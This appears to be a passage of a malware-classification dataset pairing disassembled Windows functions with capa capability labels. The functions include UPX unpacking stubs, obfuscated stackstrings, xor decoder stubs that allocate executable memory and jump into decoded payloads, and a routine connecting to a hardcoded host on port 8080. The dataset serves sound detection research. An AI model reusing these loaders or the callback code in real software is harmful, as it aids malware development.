joyce8/EMBER2024-capa huggingface dataset:
Function at 0x4d2668
Capabilities:
Link many functions at runtime
Print debug messages

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x24
mov eax, dword [0x555ab0]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [ebp + 8]
push ebx
mov ebx, dword [sym.imp.KERNEL32.dll_EncodePointer]
push esi
push edi
mov dword [ebp - 0x1c], eax
mov eax, dword [ebp + 0xc]
xor edi, edi
push edi
mov dword [ebp - 0x20], eax
call ebx
mov esi, eax
mov dword [ebp - 0x18], esi
call fcn.004ba44c
mov dword [ebp - 0x14], eax
cmp dword [0x55e6f4], edi
jne 0x4d2759
push 0x800
push edi
push str.USER32.DLL
call dword [sym.imp.KERNEL32.dll_LoadLibraryExW]
mov esi, eax
test esi, esi
jne 0x4d26e6
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0x57
jne 0x4d2839
push str.USER32.DLL
call dword [sym.imp.KERNEL32.dll_LoadLibraryW]
mov esi, eax
test esi, esi
je 0x4d2839
push 0x52a84c
push esi
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
test eax, eax
je 0x4d2839
push eax
call ebx
push str.GetActiveWindow
push esi
mov dword [0x55e6f4], eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
push eax
call ebx
push str.GetLastActivePopup
push esi
mov dword [0x55e6f8], eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
push eax
call ebx
push 0x52a87c
push esi
mov dword [0x55e6fc], eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
push eax
call ebx
mov dword [0x55e704], eax
test eax, eax
je 0x4d2756
push 0x52a898
push esi
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
push eax
call ebx
mov dword [0x55e700], eax
mov esi, dword [ebp - 0x18]
call dword [sym.imp.KERNEL32.dll_IsDebuggerPresent]
test eax, eax
je 0x4d277e
mov eax, dword [ebp - 0x1c]
test eax, eax
je 0x4d2771
push eax
call dword [sym.imp.KERNEL32.dll_OutputDebugStringW]
cmp dword [ebp - 0x14], edi
je 0x4d2793
push 4
pop eax
jmp 0x4d283b
cmp dword [ebp - 0x14], edi
je 0x4d2793
push dword [0x55e6f4]
call dword [sym.imp.KERNEL32.dll_DecodePointer]
push 3
jmp 0x4d2778
mov eax, dword [0x55e700]
mov ebx, dword [sym.imp.KERNEL32.dll_DecodePointer]
cmp eax, esi
je 0x4d27f1
cmp dword [0x55e704], esi
je 0x4d27f1
push eax
call ebx
push dword [0x55e704]
mov dword [ebp - 0x14], eax
call ebx
mov ecx, dword [ebp - 0x14]
mov dword [ebp - 0x18], eax
test ecx, ecx
je 0x4d27f1
test eax, eax
je 0x4d27f1
call ecx
test eax, eax
je 0x4d27e6
lea ecx, [ebp - 0x24]
push ecx
push 0xc
lea ecx, [ebp - 0x10]
push ecx
push 1
push eax
call dword [ebp - 0x18]
test eax, eax
je 0x4d27e6
test byte [ebp - 8], 1
jne 0x4d27f1
mov esi, dword [ebp + 0x10]
or esi, 0x200000
jmp 0x4d2821
mov eax, dword [0x55e6f8]
cmp eax, esi
je 0x4d281e
push eax
call ebx
test eax, eax
je 0x4d281e
call eax
mov edi, eax
test edi, edi
je 0x4d281e
mov eax, dword [0x55e6fc]
cmp eax, esi
je 0x4d281e
push eax
call ebx
test eax, eax
je 0x4d281e
push edi
call eax
mov edi, eax
mov esi, dword [ebp + 0x10]
push dword [0x55e6f4]
call ebx
test eax, eax
je 0x4d2839
push esi
push dword [ebp - 0x20]
push dword [ebp - 0x1c]
push edi
call eax
jmp 0x4d283b
xor eax, eax
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.004b00a0
leave
ret
Function at 0x4d4f6c
Capabilities:
Get geographical location

Disassembly:
push ebp
mov ebp, esp
push ecx
push esi
push edi
call fcn.004bdeb3
mov esi, dword [ebp + 8]
push 2
mov edi, eax
lea eax, [ebp - 4]
push eax
mov ecx, esi
and ecx, 0x3ff
push 0x20000001
or ecx, 0x400
push ecx
call dword [sym.imp.KERNEL32.dll_GetLocaleInfoW]
test eax, eax
jne 0x4d4fa4
xor eax, eax
jmp 0x4d4fd0
cmp esi, dword [ebp - 4]
je 0x4d4fcd
cmp dword [ebp + 0xc], 0
je 0x4d4fcd
push dword [edi + 0x9c]
call fcn.004d4b7a
push dword [edi + 0x9c]
mov esi, eax
call fcn.004bb6eb
pop ecx
pop ecx
cmp esi, eax
je 0x4d4fa0
xor eax, eax
inc eax
pop edi
pop esi
leave
ret

Function at 0x407f80
Capabilities:
Packed with generic packer

Disassembly:
pushal
mov esi, section.UPX1
lea edi, [esi - 0x6000]
push edi
or ebp, 0xffffffff
jmp 0x407fa2
mov al, byte [esi]
inc esi
mov byte [edi], al
inc edi
add ebx, ebx
jne 0x407fa9
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0x407f98
mov eax, 1
add ebx, ebx
jne 0x407fbb
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc eax, eax
add ebx, ebx
jae 0x407fb0
jne 0x407fcc
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jae 0x407fb0
xor ecx, ecx
sub eax, 3
jb 0x407fe0
shl eax, 8
mov al, byte [esi]
inc esi
xor eax, 0xffffffff
je 0x408052
mov ebp, eax
add ebx, ebx
jne 0x407feb
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
add ebx, ebx
jne 0x407ff8
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
jne 0x40801c
inc ecx
add ebx, ebx
jne 0x408008
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
add ebx, ebx
jae 0x407ffd
jne 0x408019
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jae 0x407ffd
add ecx, 2
cmp ebp, 0xfffff300
adc ecx, 1
lea edx, [edi + ebp]
cmp ebp, 0xfffffffc
jbe 0x40803c
mov al, byte [edx]
inc edx
mov byte [edi], al
inc edi
dec ecx
jne 0x40802d
jmp 0x407f9e
mov eax, dword [edx]
add edx, 4
mov dword [edi], eax
add edi, 4
sub ecx, 4
ja 0x40803c
add edi, ecx
jmp 0x407f9e
pop esi
mov edi, esi
mov ecx, 0x8f
mov al, byte [edi]
inc edi
sub al, 0xe8
cmp al, 1
ja 0x40805a
cmp byte [edi], 0
jne 0x40805a
mov eax, dword [edi]
mov bl, byte [edi + 4]
shr ax, 8
rol eax, 0x10
xchg ah, al
sub eax, edi
sub bl, 0xe8
add eax, esi
mov dword [edi], eax
add edi, 5
mov al, bl
loop 0x40805f
lea edi, [esi + 0x5000]
mov eax, dword [edi]
or eax, eax
je 0x4080d7
mov ebx, dword [edi + 4]
lea eax, [eax + esi + 0x8d64]
add ebx, esi
push eax
add edi, 8
call dword [esi + 0x8ddc]
xchg ebp, eax
mov al, byte [edi]
inc edi
or al, al
je 0x40808c
mov ecx, edi
jns 0x4080bb
movzx eax, word [edi]
inc edi
push eax
inc edi
mov ecx, 0xaef24857
push edi
dec eax
repne scasb al, byte es:[edi]
push ebp
call dword [esi + 0x8de4]
or eax, eax
je 0x4080d1
mov dword [ebx], eax
add ebx, 4
jmp 0x4080a9
call dword [esi + 0x8de0]
mov ebp, dword [esi + 0x8de8]
lea edi, [esi - 0x1000]
mov ebx, 0x1000
push eax
push esp
push 4
push ebx
push edi
call ebp
lea eax, [edi + 0x217]
and byte [eax], 0x7f
and byte [eax + 0x28], 0x7f
pop eax
push eax
push esp
push eax
push ebx
push edi
call ebp
pop eax
popal
lea eax, [esp - 0x80]
push 0
cmp esp, eax
jne 0x40810b
sub esp, 0xffffff80
jmp 0x402130
Function at 0x4fb7a0
Capabilities:
Packed with generic packer

Disassembly:
pushal
mov esi, 0x4a20ab
lea edi, [esi - 0xa10ab]
mov dword [edi + 0xc4564], 0x8a2ce464
push edi
or ebp, 0xffffffff
jmp 0x4fb7ca
mov al, byte [esi]
inc esi
mov byte [edi], al
inc edi
add ebx, ebx
jne 0x4fb7d1
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0x4fb7c0
mov eax, 1
add ebx, ebx
jne 0x4fb7e3
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc eax, eax
add ebx, ebx
jae 0x4fb7d8
jne 0x4fb7f4
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jae 0x4fb7d8
xor ecx, ecx
sub eax, 3
jb 0x4fb808
shl eax, 8
mov al, byte [esi]
inc esi
xor eax, 0xffffffff
je 0x4fb87a
mov ebp, eax
add ebx, ebx
jne 0x4fb813
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
add ebx, ebx
jne 0x4fb820
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
jne 0x4fb844
inc ecx
add ebx, ebx
jne 0x4fb830
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
add ebx, ebx
jae 0x4fb825
jne 0x4fb841
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jae 0x4fb825
add ecx, 2
cmp ebp, 0xfffff300
adc ecx, 1
lea edx, [edi + ebp]
cmp ebp, 0xfffffffc
jbe 0x4fb864
mov al, byte [edx]
inc edx
mov byte [edi], al
inc edi
dec ecx
jne 0x4fb855
jmp 0x4fb7c6
mov eax, dword [edx]
add edx, 4
mov dword [edi], eax
add edi, 4
sub ecx, 4
ja 0x4fb864
add edi, ecx
jmp 0x4fb7c6
pop esi
mov edi, esi
mov ecx, 0x4ce8
mov al, byte [edi]
inc edi
sub al, 0xe8
cmp al, 1
ja 0x4fb882
cmp byte [edi], 0x15
jne 0x4fb882
mov eax, dword [edi]
mov bl, byte [edi + 4]
shr ax, 8
rol eax, 0x10
xchg ah, al
sub eax, edi
sub bl, 0xe8
add eax, esi
mov dword [edi], eax
add edi, 5
mov eax, ebx
loop 0x4fb887
lea edi, [esi + 0xf3000]
mov eax, dword [edi]
or eax, eax
je 0x4fb8f2
mov ebx, dword [edi + 4]
lea eax, [eax + esi + 0xfc42c]
add ebx, esi
push eax
add edi, 8
call dword [esi + 0xfc530]
xchg ebp, eax
mov al, byte [edi]
inc edi
or al, al
je 0x4fb8b4
mov ecx, edi
push edi
dec eax
repne scasb al, byte es:[edi]
push ebp
call dword [esi + 0xfc534]
or eax, eax
je 0x4fb8f0
mov dword [ebx], eax
add ebx, 4
jmp 0x4fb8d1
popal
ret
add edi, 4
lea ebx, [esi - 4]
xor eax, eax
mov al, byte [edi]
inc edi
or eax, eax
je 0x4fb923
cmp al, 0xef
ja 0x4fb916
add ebx, eax
mov eax, dword [ebx]
xchg ah, al
rol eax, 0x10
xchg ah, al
add eax, esi
mov dword [ebx], eax
jmp 0x4fb8f8
and al, 0xf
shl eax, 0x10
mov ax, word [edi]
add edi, 2
jmp 0x4fb905
popal
jmp section.UPX0
Function at 0x401010
Capabilities:
Parse pe header

Disassembly:
sub esp, 0x1c
xor eax, eax
cmp word [0x400000], 0x5a4d
mov dword [0x40d078], 1
mov dword [0x40d074], 1
mov dword [0x40d070], 1
jne 0x401056
mov edx, dword [0x40003c]
cmp dword [edx + 0x400000], 0x4550
lea ecx, [edx + 0x400000]
je 0x4010b0
mov dword [0x40d00c], eax
mov eax, dword [0x40d084]
test eax, eax
je 0x4010a0
mov dword [esp], 2
call sym.___set_app_type
call sym.___p__fmode
mov edx, dword [0x40d098]
mov dword [eax], edx
call sym.___p__commode
mov edx, dword [0x40d080]
mov dword [eax], edx
call dbg._setargv
cmp dword [0x409014], 1
je 0x4010e0
xor eax, eax
add esp, 0x1c
ret
mov dword [esp], 1
call sym.___set_app_type
jmp 0x401070
movzx edx, word [ecx + 0x18]
cmp dx, 0x10b
je 0x4010f8
cmp dx, 0x20b
jne 0x401056
cmp dword [ecx + 0x84], 0xe
jbe 0x401056
mov edx, dword [ecx + 0xf8]
xor eax, eax
test edx, edx
setne al
jmp 0x401056
mov dword [esp], dbg._matherr
call dbg.__mingw_setusermatherr
xor eax, eax
add esp, 0x1c
ret
cmp dword [ecx + 0x74], 0xe
jbe 0x401056
mov ecx, dword [ecx + 0xe8]
xor eax, eax
test ecx, ecx
setne al
jmp 0x401056

Function at 0x4016b3
Capabilities:
Contain obfuscated stackstrings

Disassembly:
push ebp
mov ebp, esp
push edi
push ebx
sub esp, 0x5c0
mov dword [ebp - 0x5b5], 0x43445872
mov dword [ebp - 0x5b1], 0x65766c47
mov dword [ebp - 0x5ad], 0x47666743
mov dword [ebp - 0x5a9], 0x496b6a78
mov dword [ebp - 0x5a5], 0x6147584b
mov dword [ebp - 0x5a1], 0x67735748
mov dword [ebp - 0x59d], 0x4171624f
mov dword [ebp - 0x599], 0x6c706852
mov dword [ebp - 0x595], 0x71616a6a
mov dword [ebp - 0x591], 0x71427149
mov dword [ebp - 0x58d], 0x754f4b76
mov dword [ebp - 0x589], 0x61736754
mov dword [ebp - 0x585], 0x5565
lea eax, [ebp - 0x581]
mov ecx, 0x575
mov ebx, 0
mov dword [eax], ebx
mov dword [eax + ecx - 4], ebx
lea edx, [eax + 4]
and edx, 0xfffffffc
sub eax, edx
add ecx, eax
and ecx, 0xfffffffc
shr ecx, 2
mov edi, edx
mov eax, ebx
rep stosd dword es:[edi], eax
lea eax, [ebp - 0x5b5]
mov dword [esp], eax
call sym._strupr
mov dword [ebp - 0xc], eax
mov eax, dword [ebp - 0xc]
mov dword [esp], eax
call sym._strlwr
add esp, 0x5c0
pop ebx
pop edi
pop ebp
ret
Function at 0x4018a6
Capabilities:
Contain obfuscated stackstrings

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x68
mov dword [esp], 0
call sub.msvcrt.dll_time
mov dword [esp], eax
call sym._srand
mov dword [ebp - 0x4f], 0x7a753330
mov dword [ebp - 0x4b], 0x78344939
mov dword [ebp - 0x47], 0x4c315a54
mov dword [ebp - 0x43], 0x714b6942
mov dword [ebp - 0x3f], 0x55535038
mov dword [ebp - 0x3b], 0x6e595752
mov dword [ebp - 0x37], 0x7374764e
mov dword [ebp - 0x33], 0x44516d6f
mov dword [ebp - 0x2f], 0x326a4d4f
mov dword [ebp - 0x2b], 0x66687748
mov dword [ebp - 0x27], 0x6c643565
mov dword [ebp - 0x23], 0x61674a62
mov dword [ebp - 0x1f], 0x36635870
mov dword [ebp - 0x1b], 0x6b794772
mov dword [ebp - 0x17], 0x46375645
mov dword [ebp - 0x14], 0x414346
mov dword [esp], 5
call sym._malloc
mov dword [ebp - 0x10], eax
mov eax, dword [ebp - 0x10]
add eax, 4
mov byte [eax], 0
mov dword [ebp - 0xc], 0
jmp 0x401982
call sym._rand
mov ecx, eax
mov eax, ecx
shr eax, 1
mov edx, 0x84210843
mul edx
mov eax, edx
shr eax, 4
imul edx, eax, 0x3e
mov eax, ecx
sub eax, edx
mov ecx, dword [ebp - 0xc]
mov edx, dword [ebp - 0x10]
add edx, ecx
movzx eax, byte [ebp + eax - 0x4f]
mov byte [edx], al
add dword [ebp - 0xc], 1
cmp dword [ebp - 0xc], 2
jle 0x401951
mov dword [ebp - 0xc], 0
jmp 0x4019bd
mov eax, dword [ebp - 0x10]
lea edx, [eax + 3]
lea ecx, [ebp - 0x4f]
mov eax, dword [ebp - 0xc]
add eax, ecx
movzx eax, byte [eax]
mov byte [edx], al
mov eax, dword [ebp - 0x10]
mov dword [esp], eax
call sym._MiDhHaGodb
cmp eax, 0x5c
jne 0x4019b9
mov eax, dword [ebp - 0x10]
jmp 0x4019c7
add dword [ebp - 0xc], 1
mov eax, dword [ebp - 0xc]
cmp eax, 0x3e
jbe 0x401991
jmp 0x401948
leave
ret

Function at 0x4019f3
Capabilities:
Act as tcp client
Connect socket
Connect tcp socket
Connect udp socket
Create tcp socket
Create udp socket
Resolve dns

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x38
mov dword [esp + 8], 0
mov dword [esp + 4], 1
mov dword [esp], 2
mov eax, dword [sym.imp.WSOCK32.DLL_socket]
call eax
sub esp, 0xc
mov dword [ebp - 0xc], eax
cmp dword [ebp - 0xc], 0xffffffff
jne 0x401a2e
mov eax, dword [ebp - 0xc]
mov dword [esp], eax
call sym._sYPLLfJoLBpyN
mov dword [esp], str.192.168.37.129
mov eax, dword [sym.imp.WSOCK32.DLL_gethostbyname]
call eax
sub esp, 4
mov dword [ebp - 0x10], eax
cmp dword [ebp - 0x10], 0
jne 0x401a53
mov eax, dword [ebp - 0xc]
mov dword [esp], eax
call sym._sYPLLfJoLBpyN
mov eax, dword [ebp - 0x10]
movzx eax, word [eax + 0xa]
movsx edx, ax
mov eax, dword [ebp - 0x10]
mov eax, dword [eax + 0xc]
mov eax, dword [eax]
mov dword [esp + 8], edx
mov dword [esp + 4], eax
lea eax, [ebp - 0x20]
add eax, 4
mov dword [esp], eax
call sym._memcpy
mov word [ebp - 0x20], 2
mov dword [esp], 0x1f90
mov eax, dword [sym.imp.WSOCK32.DLL_htons]
call eax
sub esp, 4
mov word [ebp - 0x1e], ax
mov dword [esp + 8], 0x10
lea eax, [ebp - 0x20]
mov dword [esp + 4], eax
mov eax, dword [ebp - 0xc]
mov dword [esp], eax
mov eax, dword [sym.imp.WSOCK32.DLL_connect]
call eax
sub esp, 0xc
test eax, eax
je 0x401ac4
mov eax, dword [ebp - 0xc]
mov dword [esp], eax
call sym._sYPLLfJoLBpyN
mov eax, dword [ebp - 0xc]
leave
ret
Function at 0x4020f0
Capabilities:
Write file on windows

Disassembly:
push ebx
sub esp, 0x18
mov dword [esp], 2
lea ebx, [esp + 0x24]
call dbg.__acrt_iob_func
mov dword [esp + 8], 0x1b
mov dword [esp + 0xc], eax
mov dword [esp + 4], 1
mov dword [esp], str.Mingw_w64_runtime_failure:_n
call sym._fwrite
mov dword [esp], 2
call dbg.__acrt_iob_func
mov edx, dword [esp + 0x20]
mov dword [esp + 8], ebx
mov dword [esp], eax
mov dword [esp + 4], edx
call sym._vfprintf
call sym._abort
lea esi, [esi]

Function at 0x402150
Capabilities:
Allocate or change rwx memory

Disassembly:
push edi
push esi
push ebx
mov ebx, eax
sub esp, 0x30
mov esi, dword [0x40d08c]
test esi, esi
jle 0x402270
mov eax, dword [0x40d090]
xor ecx, ecx
add eax, 0xc
mov edx, dword [eax]
cmp ebx, edx
jb 0x402184
mov edi, dword [eax + 4]
add edx, dword [edi + 8]
cmp ebx, edx
jb 0x402207
add ecx, 1
add eax, 0x14
cmp ecx, esi
jne 0x402170
mov dword [esp], ebx
call dbg.__mingw_GetSectionForAddress
mov edi, eax
test eax, eax
je 0x402297
mov eax, dword [0x40d090]
lea ebx, [esi + esi*4]
shl ebx, 2
add eax, ebx
mov dword [eax + 0x10], edi
mov dword [eax], 0
call dbg._GetPEImageBase
mov edx, dword [0x40d090]
add eax, dword [edi + 0xc]
mov dword [edx + ebx + 0xc], eax
lea edx, [esp + 0x14]
mov dword [esp + 8], 0x1c
mov dword [esp + 4], edx
mov dword [esp], eax
call dword [sym.imp.KERNEL32.dll_VirtualQuery]
sub esp, 0xc
test eax, eax
je 0x402277
mov eax, dword [esp + 0x28]
lea edx, [eax - 4]
and edx, 0xfffffffb
je 0x402200
lea edx, [eax - 0x40]
and edx, 0xffffffbf
jne 0x402210
add dword [0x40d08c], 1
add esp, 0x30
pop ebx
pop esi
pop edi
ret
cmp eax, 2
mov edx, 4
mov eax, 0x40
mov ecx, dword [esp + 0x20]
cmove eax, edx
mov edx, dword [esp + 0x14]
add ebx, dword [0x40d090]
mov dword [ebx + 8], ecx
mov dword [ebx + 4], edx
mov dword [esp + 0xc], ebx
mov dword [esp + 8], eax
mov dword [esp + 4], ecx
mov dword [esp], edx
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
sub esp, 0x10
test eax, eax
jne 0x402200
call dword [sym.imp.KERNEL32.dll_GetLastError]
mov dword [esp], str.__VirtualProtect_failed_with_code_0x_x
mov dword [esp + 4], eax
call dbg.__report_error
lea esi, cs:[esi]
nop
xor esi, esi
jmp 0x40218e
mov eax, dword [0x40d090]
mov eax, dword [eax + ebx + 0xc]
mov dword [esp + 8], eax
mov eax, dword [edi + 8]
mov dword [esp], str.__VirtualQuery_failed_for__d_bytes_at_address__p
mov dword [esp + 4], eax
call dbg.__report_error
mov dword [esp + 4], ebx
mov dword [esp], str.Address__p_has_no_image_section
call dbg.__report_error
lea esi, cs:[esi]
nop
Function at 0x4027c0
Capabilities:
Get thread local storage value

Disassembly:
push ebp
push edi
push esi
push ebx
sub esp, 0x1c
mov dword [esp], 0x40d0a8
call dword [sym.imp.KERNEL32.dll_EnterCriticalSection]
mov ebx, dword [0x40d0a0]
sub esp, 4
test ebx, ebx
je 0x402815
mov ebp, dword [sym.imp.KERNEL32.dll_TlsGetValue]
mov edi, dword [sym.imp.KERNEL32.dll_GetLastError]
lea esi, [esi]
mov eax, dword [ebx]
mov dword [esp], eax
call ebp
mov esi, eax
sub esp, 4
call edi
test esi, esi
je 0x40280e
test eax, eax
jne 0x40280e
mov eax, dword [ebx + 4]
mov dword [esp], esi
call eax
mov ebx, dword [ebx + 8]
test ebx, ebx
jne 0x4027f0
mov dword [esp], 0x40d0a8
call dword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
sub esp, 4
add esp, 0x1c
pop ebx
pop esi
pop edi
pop ebp
ret

Function at 0x402b50
Capabilities:
Parse pe header

Disassembly:
xor eax, eax
cmp word [0x400000], 0x5a4d
jne 0x402b75
mov ecx, dword [0x40003c]
cmp dword [ecx + 0x400000], 0x4550
lea edx, [ecx + 0x400000]
je 0x402b80
ret
cmp word [ecx + 0x400018], 0x10b
jne 0x402b75
push esi
movzx eax, word [ecx + 0x400014]
push ebx
movzx esi, word [ecx + 0x400006]
mov ebx, dword [esp + 0xc]
lea eax, [edx + eax + 0x18]
sub ebx, 0x400000
test si, si
je 0x402bc8
xor ecx, ecx
mov edx, dword [eax + 0xc]
cmp ebx, edx
jb 0x402bbe
add edx, dword [eax + 8]
cmp ebx, edx
jb 0x402bca
add ecx, 1
add eax, 0x28
cmp esi, ecx
jne 0x402bb0
xor eax, eax
pop ebx
pop esi
ret
Function at 0x41b258
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x4c
pushal
call 0x41b267
pop dword [ebp - 0x3c]
mov eax, 0xa60f7908
add eax, 0x5a32395f
sub dword [ebp - 0x3c], eax
push 0x40
push 0x1000
push 0x51b30
push 0
mov eax, sym.imp.kernel32.dll_VirtualAlloc
add eax, dword [ebp - 0x3c]
call dword [eax]
mov ecx, 0x4e34
xor edi, edi
add edi, eax
mov ebx, 0x488e00
add ebx, dword [ebp - 0x3c]
mov esi, 0xa1e448f4
add esi, 0x15a79c4d
xor dword [ebp - 0x10], ecx
mov edx, dword [ebx]
add edx, esi
add dword [ebp - 0x24], edx
mov dword [edi], edx
mov dword [ebp - 0x34], 0x1fd09a66
add edi, 4
add ebx, 0x789fb9d4
add ebx, 0x87604630
loop 0x41b2b7
add eax, 0x12ba3
mov ebx, eax
add eax, 0x8cadec20
sub eax, 0x8cadec1b
mov ecx, 0x917ffb46
sub ecx, 0x913ffb46
add ecx, dword [ebp - 0x3c]
call ebx
leave
ret

Function at 0x4400c9
Capabilities:
Encrypt data using dpapi

Disassembly:
push esi
push edi
push 0x46c6d0
push str.AdvApi32.dll
call main
mov edi, dword [sym.imp.kernel32.dll_GetProcAddress]
mov esi, eax
test esi, esi
js 0x44010c
push str.SystemFunction040
push dword [0x46c6d0]
call edi
push str.SystemFunction041
push dword [0x46c6d0]
mov dword [0x46c6c0], eax
call edi
mov dword [0x46c6c4], eax
jmp 0x440111
mov eax, dword [0x46c6c4]
cmp dword [0x46c6c0], 0
je 0x440122
test eax, eax
jne 0x4401c9
push 0x46c6d4
push str.Crypt32.dll
call main
mov esi, eax
test esi, esi
js 0x4401d3
push str.CryptProtectMemory
push dword [0x46c6d4]
call edi
cmp dword [0x46c6c0], 0
mov dword [0x46c6c8], eax
jne 0x440187
test eax, eax
jne 0x440187
call dword [sym.imp.kernel32.dll_GetLastError]
mov esi, eax
test esi, esi
jle 0x440171
movzx esi, si
or esi, 0x80070000
test esi, esi
js 0x440178
mov esi, 0x80004005
push esi
push 0x28
push str.c:_agent_work138_s_srclibsdutilcryputil.cpp
call fcn.004038f5
jmp 0x4401d3
push str.CryptUnprotectMemory
push dword [0x46c6d4]
call edi
cmp dword [0x46c6c4], 0
mov dword [0x46c6cc], eax
jne 0x4401c9
test eax, eax
jne 0x4401c9
call dword [sym.imp.kernel32.dll_GetLastError]
mov esi, eax
test esi, esi
jle 0x4401bd
movzx esi, si
or esi, 0x80070000
test esi, esi
js 0x4401c4
mov esi, 0x80004005
push esi
push 0x2d
jmp 0x44017b
mov dword [0x46c6d8], 1
pop edi
mov eax, esi
pop esi
ret
Function at 0x6d7b364a
Capabilities:
Hide graphical window

Disassembly:
push esi
mov esi, dword [esp + 8]
push edi
mov edi, dword [sym.imp.USER32.dll_GetSystemMetrics]
push 0
call edi
sub eax, dword [esi + 0x289c]
push 1
cdq
sub eax, edx
sar eax, 1
mov dword [esi + 0x292c], eax
call edi
sub eax, dword [esi + 0x28a0]
cdq
sub eax, edx
sar eax, 1
mov dword [esi + 0x2930], eax
mov eax, dword [esi + 0x2d4c]
test eax, eax
je 0x6d7b36b9
push 0
push eax
call dword [sym.imp.USER32.dll_ShowWindow]
push 0
push dword [esi + 0x28a0]
push dword [esi + 0x289c]
push dword [esi + 0x2930]
push dword [esi + 0x292c]
push dword [esi + 0x2d4c]
call dword [sym.imp.USER32.dll_MoveWindow]
push esi
call fcn.6d7b80da
pop ecx
pop edi
pop esi
ret

Function at 0x6d7b3d88
Capabilities:
Terminate process

Disassembly:
push esi
mov esi, dword [esp + 8]
mov eax, dword [esi]
test eax, eax
je 0x6d7b3dbd
push edi
mov edi, 0x120
cmp dword [esp + 0x10], edi
jae 0x6d7b3db0
push eax
call fcn.6d7b4838
push 2
call fcn.6d7b4827
pop ecx
pop ecx
mov dword [esi], eax
push edi
push 0
push eax
call sub.MSVCR100.dll_memset
add esp, 0xc
pop edi
pop esi
ret

Function at 0x6d7b80da
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x34
pushal
call 0x6d7b80e9
pop dword [ebp - 0x24]
mov eax, 0x95c41116
add eax, 0xd7b76fd3
sub dword [ebp - 0x24], eax
mov dword [ebp - 0x34], 0x8f919198
add dword [ebp - 0x34], 0xbec0b3b3
mov dword [ebp - 0x30], 0x5d02a340
sub dword [ebp - 0x30], 0x2acf56fb
mov dword [ebp - 0x2c], 0x36fa1734
sub dword [ebp - 0x2c], 0xeaadd306
mov dword [ebp - 0x28], 0x2f0611ed
add dword [ebp - 0x28], 0xd0f9ee13
lea eax, [ebp - 0x34]
push eax
mov eax, sym.imp.kernel32.dll_GetModuleHandleA
add eax, dword [ebp - 0x24]
call dword [eax]
mov dword [ebp - 0x34], 0xca70b323
add dword [ebp - 0x34], 0xaa01b633
mov dword [ebp - 0x30], 0xb0534e88
sub dword [ebp - 0x30], 0x6ee6ed13
mov dword [ebp - 0x2c], 0x5e852a7f
sub dword [ebp - 0x2c], 0xfb15be13
mov dword [ebp - 0x28], 0xbeec1b77
sub dword [ebp - 0x28], 0xbeec1b77
lea ebx, [ebp - 0x34]
push ebx
push eax
mov eax, 0x6befb600
add eax, 0x18d2aa0
add eax, dword [ebp - 0x24]
call dword [eax]
push 0x40
push 0x1000
push 0x36aa7
push 0
call eax
mov ecx, 0x3fe0
xor ebx, ebx
add ebx, eax
mov edx, 0x7ecb5f39
add edx, 0xeeb272c7
add edx, dword [ebp - 0x24]
mov edi, 0x321a678d
sub edi, 0x7d761bc6
mov dword [ebp - 0xc], 0xd9f53962
mov esi, dword [edx]
add dword [ebp - 0x14], 0x5f595dd1
sub esi, edi
xor dword [ebp - 0x14], 0x72e23331
mov dword [ebx], esi
xor dword [ebp - 4], 0xea0e9c5
add ebx, 0x12061797
sub ebx, 0x12061793
add edx, 0x762a3966
sub edx, 0x762a3962
loop 0x6d7b8202
add eax, 0xf253
xor ebx, ebx
add ebx, eax
add eax, 5
mov ecx, 0xd1342953
add ecx, 0x9c46d6ad
add ecx, dword [ebp - 0x24]
call ebx
leave
ret